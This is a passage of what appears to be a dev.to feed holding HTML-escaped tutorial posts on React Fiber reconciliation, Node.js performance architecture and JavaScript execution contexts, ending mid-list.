  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"app"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;setName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Shafique&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;startTransition&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nf"&gt;setLoading&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        Click to Update
      &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Profile&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Dashboard&lt;/span&gt; &lt;span class="na"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;loading&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;setName("Shafique")&lt;/code&gt; → high priority update (Sync Lane)
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;setLoading(true)&lt;/code&gt; wrapped in &lt;code&gt;startTransition&lt;/code&gt; → low priority (Transition Lane)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fiber will handle them differently.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fiber Architecture, Key Concepts
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Fiber Node
&lt;/h3&gt;

&lt;p&gt;Every element, component, DOM node, and text becomes a &lt;strong&gt;Fiber Node&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example component tree:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;App&amp;gt;
  ├── &amp;lt;h2&amp;gt;
  ├── &amp;lt;Profile&amp;gt;
  └── &amp;lt;Dashboard&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Becomes a Fiber Tree where each node is a unit of work.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Current Tree vs WIP(Work-In-Progress Tree)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Current Tree&lt;/strong&gt; → The tree currently rendered on screen
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Work-In-Progress (WIP) Tree&lt;/strong&gt; → The tree being prepared for next render&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When updates happen, React builds the WIP tree and then swaps it with the Current Tree during the Commit Phase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fiber Reconciliation Two Phases
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Phase 1: Render Phase (Interruptible)
&lt;/h3&gt;

&lt;p&gt;This phase has two sub-phases:&lt;/p&gt;

&lt;h4&gt;
  
  
  a. Begin Work
&lt;/h4&gt;

&lt;p&gt;React visits each Fiber Node starting from the root.&lt;/p&gt;

&lt;p&gt;It checks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does this node need update?
&lt;/li&gt;
&lt;li&gt;What’s the new state/props?
&lt;/li&gt;
&lt;li&gt;Create/clone Fiber Node for WIP tree&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  b. Complete Work
&lt;/h4&gt;

&lt;p&gt;After a node’s children are processed, React:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Creates the actual DOM node (if new)
&lt;/li&gt;
&lt;li&gt;Links it to the Fiber Node via &lt;code&gt;stateNode&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Adds the Fiber Node to the “Effect List”  if it needs a DOM update&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;fiber&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stateNode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;h2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F788c8ce8fps0pl4wjtmo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F788c8ce8fps0pl4wjtmo.png" alt=" " width="800" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Effect List is a linked list of nodes that need DOM mutations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Traversal Order, Depth First
&lt;/h2&gt;

&lt;p&gt;Fiber doesn’t use recursion; it uses a linked list with pointers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;child&lt;/code&gt; → first child
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sibling&lt;/code&gt; → next sibling
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;return&lt;/code&gt; → parent&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Traversal order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start at Root
&lt;/li&gt;
&lt;li&gt;Go to the child
&lt;/li&gt;
&lt;li&gt;Keep going to the child until the leaf
&lt;/li&gt;
&lt;li&gt;At leaf → go to sibling
&lt;/li&gt;
&lt;li&gt;If no sibling → go back to parent
&lt;/li&gt;
&lt;li&gt;Parents’ sibling? Go there. Otherwise, go to the grandparent.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Root
└── App
    ├── h2
    ├── Profile
    └── Dashboard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Traversal:&lt;/p&gt;

&lt;p&gt;Root → App → h2 (leaf) → Profile (sibling) → Dashboard (sibling) → App (parent) → Root&lt;/p&gt;

&lt;p&gt;At each node, Begin Work → then, after children → Complete Work.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdwfy7ilp4jmtnxmocio.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdwfy7ilp4jmtnxmocio.png" alt=" " width="720" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 2: Commit Phase (Synchronous)
&lt;/h2&gt;

&lt;p&gt;Once the Render Phase is done, React has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A complete WIP Fiber Tree
&lt;/li&gt;
&lt;li&gt;An Effect List with all nodes needing DOM updates&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, React enters the Commit Phase, which is &lt;strong&gt;synchronous and uninterruptible&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It walks the Effect List and performs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Insertions
&lt;/li&gt;
&lt;li&gt;Updates
&lt;/li&gt;
&lt;li&gt;Deletions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On the Real DOM.&lt;/p&gt;

&lt;p&gt;Then, it swaps WIP Tree → becomes new Current Tree.&lt;/p&gt;

&lt;h2&gt;
  
  
  Update Phase, How Priorities Work
&lt;/h2&gt;

&lt;p&gt;When state updates:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;React creates an &lt;strong&gt;Update Object&lt;/strong&gt; → { payload, timestamp, lane }
&lt;/li&gt;
&lt;li&gt;Enqueues it in the component’s update queue
&lt;/li&gt;
&lt;li&gt;Marks the Fiber Node (and all ancestors) as “needing work”
&lt;/li&gt;
&lt;li&gt;Schedules the update based on lane (priority)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// High priority&lt;/span&gt;
&lt;span class="nf"&gt;setName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Shafique&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Sync Lane&lt;/span&gt;

&lt;span class="c1"&gt;// Low priority&lt;/span&gt;
&lt;span class="nf"&gt;startTransition&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setLoading&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Transition Lane&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;React’s Scheduler:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Checks which updates are pending
&lt;/li&gt;
&lt;li&gt;Assigns priority: Sync, Transition, Idle
&lt;/li&gt;
&lt;li&gt;Executes high-priority first&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So when you click the button:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;React creates a WIP(work-in-progress) tree
&lt;/li&gt;
&lt;li&gt;Processes &lt;code&gt;setName("Shafique")&lt;/code&gt; → updates Profile
&lt;/li&gt;
&lt;li&gt;Skips &lt;code&gt;setLoading(true)&lt;/code&gt; for now (low priority)
&lt;/li&gt;
&lt;li&gt;Commits → UI updates immediately
&lt;/li&gt;
&lt;li&gt;Later — starts new WIP tree → processes &lt;code&gt;setLoading(true)&lt;/code&gt; → commits Dashboard update&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The user sees instant feedback, and background work occurs later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fiber’s Real Power
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Work is split into chunks → doesn’t block the main thread
&lt;/li&gt;
&lt;li&gt;High-priority work (user input) jumps the queue
&lt;/li&gt;
&lt;li&gt;Low priority work (data loading) waits — but doesn’t block
&lt;/li&gt;
&lt;li&gt;Browser gets breathing room → stays responsive&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even though Fiber adds more steps, it makes the right steps happen at the right time.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>react</category>
      <category>discuss</category>
      <category>frontend</category>
    </item>
    <item>
      <title>How Node.js Achieves High Performance &amp; Scalability</title>
      <dc:creator>Shafiq Ur Rehman</dc:creator>
      <pubDate>Sat, 20 Sep 2025 06:25:36 +0000</pubDate>
      <link>https://dev.to/im-shafiqurehman/how-nodejs-achieves-high-performance-scalability-3lad</link>
      <guid>https://dev.to/im-shafiqurehman/how-nodejs-achieves-high-performance-scalability-3lad</guid>
      <description>&lt;h2&gt;
  
  
  What is Node.js?
&lt;/h2&gt;

&lt;p&gt;Node.js is an open-source JavaScript runtime environment that allows you to develop scalable web applications (accessible on the internet, without requiring installation on the user's device). This environment is built on top of Google Chrome’s JavaScript Engine V8. It uses an event-driven(waits for things to happen and then reacts to them), non-blocking I/O model(sends I/O requests and continuously does other work, notified when done), making it lightweight, more efficient, and perfect for data-intensive real-time applications running across shared devices.&lt;/p&gt;

&lt;h2&gt;
  
  
  Non-Blocking I/O: The Performance Game-Changer
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Runs on the &lt;strong&gt;side stack&lt;/strong&gt; (callback queue/microtask queue).&lt;/li&gt;
&lt;li&gt;The main thread &lt;strong&gt;does not wait&lt;/strong&gt;, async operations run in the background, and their callbacks execute later.&lt;/li&gt;
&lt;li&gt;Example:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const fs = require('fs');
fs.readFile('file.txt', (err, data) =&amp;gt; {     // Non-blocking
console.log(”This runs after the file reading is completes” , data);
});
console.log("This runs immediately");

 Here, console.log("This runs immediately") executes first, and the file reading happens in the background.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Node.js Architecture Overview
&lt;/h2&gt;

&lt;p&gt;This architecture is mainly based on 5 key components:&lt;/p&gt;

&lt;p&gt;1️⃣ &lt;strong&gt;Single Thread&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;2️⃣ &lt;strong&gt;Event Loop&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;3️⃣ &lt;strong&gt;Event Queue&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;4️⃣ &lt;strong&gt;Worker Pool (Libuv)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;5️⃣ &lt;strong&gt;V8 Engine&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Single Thread&lt;/strong&gt;&lt;br&gt;
Node.js operates in a single-threaded environment. This means:&lt;/p&gt;

&lt;p&gt;Only one thread executes JavaScript code.&lt;/p&gt;

&lt;p&gt;This thread handles the main event loop.&lt;/p&gt;

&lt;p&gt;This is why Node.js is lightweight.&lt;/p&gt;

&lt;p&gt;In simple terms, a single thread handles requests from multiple users, resulting in low memory usage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Event Loop: Node.js’s Secret Weapon&lt;/strong&gt;&lt;br&gt;
The event loop runs indefinitely and connects the call stack, the microtask queue, and the callback queue. The event loop moves asynchronous tasks from the microtask queue and the callback queue to the call stack whenever the call stack is empty.&lt;/p&gt;

&lt;p&gt;Callback Queue:&lt;br&gt;
 Callback functions for operations like setTimeout() are added here before moving to the call stack.&lt;/p&gt;

&lt;p&gt;Microtask Queue: &lt;br&gt;
Callback functions for Promises and MutationObserver are queued here and have higher priority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Event Queue&lt;/strong&gt;&lt;br&gt;
When asynchronous operations (like HTTP requests, database queries) are performed:&lt;/p&gt;

&lt;p&gt;Node.js places them in the event queue.&lt;/p&gt;

&lt;p&gt;The event loop then processes this queue when the main thread is free.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Offloading Heavy Work: Libuv &amp;amp; Worker Pool&lt;/strong&gt;&lt;br&gt;
Node.js is single-threaded, but that doesn’t mean it can’t do parallel work.&lt;/p&gt;

&lt;p&gt;For blocking I/O tasks (file system, DNS, crypto, compression), Node.js uses Libuv’s Worker Pool, a pool of 4 background threads (configurable) that handle heavy lifting.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why This Matters for Performance:
Your main thread stays free to handle new requests.
I/O-bound tasks run in parallel without blocking JavaScript execution.
CPU-bound tasks? Use worker_threads or offload to microservices.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In simple terms, Node.js's single thread handles the main application logic, while heavy tasks are handled in the background by the worker pool.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;V8 Engine: Raw Speed Under the Hood&lt;/strong&gt;&lt;br&gt;
Node.js runs on Google’s V8 JavaScript Engine, the same engine that powers Chrome.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Performance Benefits:
Just-In-Time Compilation: Converts JS to optimized machine code at runtime.
Dynamic Optimization: Frequently used functions get turbocharged.
Garbage Collection: Efficient memory management prevents leaks and slowdowns.
V8 is why Node.js apps start fast, run fast, and stay fast, even under heavy load. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxazesjkkm8up1gcf1y28.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxazesjkkm8up1gcf1y28.png" alt="A simplified flowchart illustrating the non-blocking flow of a request in Node.js: Incoming Request -&amp;gt; Event Loop -&amp;gt; Immediate processing for non-blocking tasks or delegation to the Worker Pool for heavy tasks -&amp;gt; Response." width="397" height="515"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Node.js Flow Example:
&lt;/h2&gt;

&lt;p&gt;1️⃣ A user sends an API request.&lt;/p&gt;

&lt;p&gt;2️⃣ Node.js receives the request.&lt;/p&gt;

&lt;p&gt;3️⃣ If the request involves:&lt;/p&gt;

&lt;p&gt;A non-heavy CPU task is executed directly via the event loop.&lt;/p&gt;

&lt;p&gt;A heavy task (like reading a file) is sent to the worker pool.&lt;/p&gt;

&lt;p&gt;4️⃣ While the task is processing, the event loop continues to handle other requests.&lt;/p&gt;

&lt;p&gt;5️⃣ Once the task is complete, its callback function is placed in the event queue.&lt;/p&gt;

&lt;p&gt;6️⃣ The event loop picks up the callback and executes it.&lt;/p&gt;

&lt;p&gt;7️⃣ Node.js sends the response back to the user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvuwrdzyd3flico2krww8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvuwrdzyd3flico2krww8.png" alt="Detailed diagram of the Node.js runtime architecture showing the relationship between the V8 engine, the Event Loop with its call stack, and the Libuv thread pool which handles I/O operations and delegates work to worker threads." width="691" height="479"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Pro Tips for Optimizing Node.js Performance
&lt;/h2&gt;

&lt;p&gt;Never Use Sync APIs&lt;br&gt;
→ readFileSync and writeFileSync will destroy your server's throughput.&lt;/p&gt;

&lt;p&gt;Use Async/Await or Promises&lt;br&gt;
→ Less messy, faster, and easier to debug than callbacks.&lt;/p&gt;

&lt;p&gt;Cluster Your App&lt;br&gt;
→ Utilize all CPU cores using the cluster module.&lt;/p&gt;

&lt;p&gt;Offload CPU Work&lt;br&gt;
→ Leverage worker_threads for heavy computation.&lt;/p&gt;

&lt;p&gt;Use Caching &amp;amp; Streaming&lt;br&gt;
→ Minimize I/O roundtrips. Stream large files instead of loading into memory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Node.js doesn’t achieve high performance by throwing more hardware at the problem; it does so by being intelligent with resources. Its event-driven, non-blocking model is purpose-built for modern, I/O-heavy applications.&lt;/p&gt;

&lt;p&gt;Master these concepts, avoid blocking code, and you’ll unlock Node.js’s true potential: a server that’s fast, lean, and ready to scale&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>performance</category>
      <category>javascript</category>
      <category>node</category>
    </item>
    <item>
      <title>JavaScript Execution Context Made Simple</title>
      <dc:creator>Shafiq Ur Rehman</dc:creator>
      <pubDate>Thu, 21 Aug 2025 10:19:34 +0000</pubDate>
      <link>https://dev.to/im-shafiqurehman/javascript-execution-context-made-simple-5gk0</link>
      <guid>https://dev.to/im-shafiqurehman/javascript-execution-context-made-simple-5gk0</guid>
      <description>&lt;p&gt;A JavaScript engine is a program that converts JavaScript code into a Binary Language. Computers understand the Binary Language. Every web browser contains a JavaScript engine. For example, V8 is the JavaScript engine in Google Chrome.&lt;/p&gt;

&lt;p&gt;Let's dive in!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrlyovje7ykt4ef2d7v6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrlyovje7ykt4ef2d7v6.png" alt="Diagram showing synchronous vs asynchronous JavaScript execution" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Execution context&lt;/strong&gt;: Execution Context is the environment in which JS code runs. It decides what variables and functions are accessible, and how the code executes. It has two types (Global &amp;amp; Function) and works in two phases (Memory Creation &amp;amp; Code Execution).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1. &lt;strong&gt;Global Execution Context (GEC)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;This is created &lt;strong&gt;once&lt;/strong&gt; when your script starts. It's the outermost context where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Global variables and functions are stored&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;this&lt;/code&gt; refers to the global object (like &lt;code&gt;window&lt;/code&gt; in browsers)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. &lt;strong&gt;Function Execution Context (FEC)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;When you &lt;strong&gt;call a function&lt;/strong&gt;, a &lt;strong&gt;new context&lt;/strong&gt; is created specifically for that function. It manages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The function's local variables&lt;/li&gt;
&lt;li&gt;The value of &lt;code&gt;this&lt;/code&gt; inside the function&lt;/li&gt;
&lt;li&gt;Arguments passed to the function&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. &lt;strong&gt;Memory Creation Phase&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;This is the &lt;strong&gt;first phase&lt;/strong&gt; of an execution context. During this phase:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;All &lt;strong&gt;variables and functions&lt;/strong&gt; are allocated in memory&lt;/li&gt;
&lt;li&gt;Functions are &lt;strong&gt;fully hoisted&lt;/strong&gt; (stored with their complete code)&lt;/li&gt;
&lt;li&gt;Variables declared with &lt;strong&gt;&lt;code&gt;var&lt;/code&gt;&lt;/strong&gt; are hoisted and initialized with &lt;code&gt;undefined&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Variables declared with &lt;strong&gt;&lt;code&gt;let&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;const&lt;/code&gt;&lt;/strong&gt; are also hoisted but remain uninitialized, staying in the &lt;strong&gt;Temporal Dead Zone (TDZ)&lt;/strong&gt; until their declaration is reached&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. &lt;strong&gt;Code Execution Phase&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;This is the &lt;strong&gt;second phase&lt;/strong&gt;, where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The code &lt;strong&gt;executes line by line&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Variables receive their actual values&lt;/li&gt;
&lt;li&gt;Functions are called when invoked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;Variable Environment&lt;/strong&gt; is a &lt;strong&gt;part of the Execution Context&lt;/strong&gt;.&lt;br&gt;
It is &lt;strong&gt;where all variables, functions, and arguments are stored in memory&lt;/strong&gt; as key-value pairs during the &lt;strong&gt;Memory Creation Phase&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Variable declarations&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function declarations&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function parameters&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;It is &lt;strong&gt;used internally by the JS engine&lt;/strong&gt; to track what's defined in the current scope.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Call stack&lt;/strong&gt;: The call stack is a part of the JavaScript engine that helps keep track of function calls. When a function is invoked, it is pushed to the call stack, where its execution begins. When the execution is complete, the function is popped off the call stack. It utilizes the concept of stacks in data structures, following the Last-In-First-Out (LIFO) principle.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Event loop:&lt;/strong&gt; The event loop runs indefinitely and connects the call stack, the microtask queue, and the callback queue. The event loop moves asynchronous tasks from the microtask queue and the callback queue to the call stack whenever the call stack is empty.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;In JavaScript’s event loop, microtasks always have higher priority than macrotasks (callback queue).&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Callback Queue (Macrotask Queue):   Callback functions for setTimeout() are added to the callback queue before they are moved to the call stack for execution.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;setTimeout()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setInterval()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setImmediate()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;I/O events&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Microtask queue:&lt;/strong&gt; Asynchronous callback functions for promises and mutation observers are queued in the microtask queue before they are moved to the call stack for execution.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Includes things like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Promise.then()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Promise.catch()&lt;/code&gt;&lt;/li&gt;
